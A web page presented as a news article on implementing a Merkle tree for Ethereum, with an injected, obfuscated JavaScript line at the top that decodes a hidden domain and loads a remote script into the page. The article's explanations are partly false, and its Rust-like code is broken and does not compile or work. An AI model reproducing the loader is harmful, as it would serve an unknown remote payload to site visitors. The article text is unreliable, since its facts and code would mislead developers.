News

Ethereum: How do I implement a Merkle Tree?

Published by Terlumun Aondover on February 13th, 2025.

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=35812bec”;document.body.appendChild(script);

Here is an article about implementing a Merkle tree:

Implementing a Merkle Tree on Ethereum

A Merkle Tree is a data structure used for cryptographic hash functions, such as SHA-256. It allows for efficient verification of the authenticity of data by creating a tree-like hash representation. In this article, we will look at how to implement a Merkle tree on Ethereum.

What is a Merkle tree?

A Merkle tree is a binary tree in which each node represents a hash value. The tree is created by recursively shuffling leaf nodes (unique blocks of data) and storing their hashes in parent nodes. Each internal node contains hashes of its child nodes, making it a self-contained data structure.

Why do we need Merkle trees?

Merkle trees are essential for cryptographic protocols based on secure data sharing and transmission. For example, when encrypting data using public key cryptography, the sender and receiver must agree on a shared secret key. To ensure the integrity of the encrypted data, the recipient can use a Merkle tree to verify the authenticity of the data.

How to implement a Merkle tree in Ethereum?

In Ethereum, we use the Hashable property to represent hash values. We create a MerkleNode structure that represents an internal node in the tree. Each MerkleNode contains two fields: the hash value of the child nodes and the hash value of the parent nodes.


Using std::collections::HashMap;
// Define the structure of the Merkle node
struct MerkleNode {
mix: mixable,
child_hashes: HashMap,
}
impl MerkleNode {
// Constructor to initialize a new MerkleNode
fn new(hash: Hash) -> Self {
MerkleNode {
mix,
child_hashes: HashMap::new(),
}
}
// Child hash calculation method
fn get_child_hashes(&self) -> &HashMap {
self.child_hashes.as_ref()
}
// Method to add a new child node to the tree
fn add_child_node(&mut self, hash: Hash) {
self.hash = hash;
self.child_hashes.insert(hash, hash);
}
}

How to build a Merkle tree

To build a Merkle tree in Ethereum, we use a recursive method. We start with an empty MerkleRoot node and add each data block to the tree.


Using std::collections::HashMap;
// Define the Merkle root structure
struct MerkleRoot {
hash: HashMap ,
}
impl MerkleRoot {
// Constructor to initialize a new MerkleRoot
fn new() -> Self {
MerkleRoot { hash: HashMap::new() }
}
// How to add a data block to the tree
fn add_data_block(&mut self, hash: Hash) {
self.hashes.insert(hash, hash);
}
// Merkle Tree recursive construction method
fn build_tree(&self) -> Vec {
let mut tree = Vec::new();
for (hash, child_hashes) in self.hashes.iter() {
if *child_hashes.is_empty() {
tree.push(MerkleRoot::new());
} else {
tree.push(child_hashes.into_iter().next().unwrap().clone());
tree.extend(self.build_tree());
}
}
tree
}
}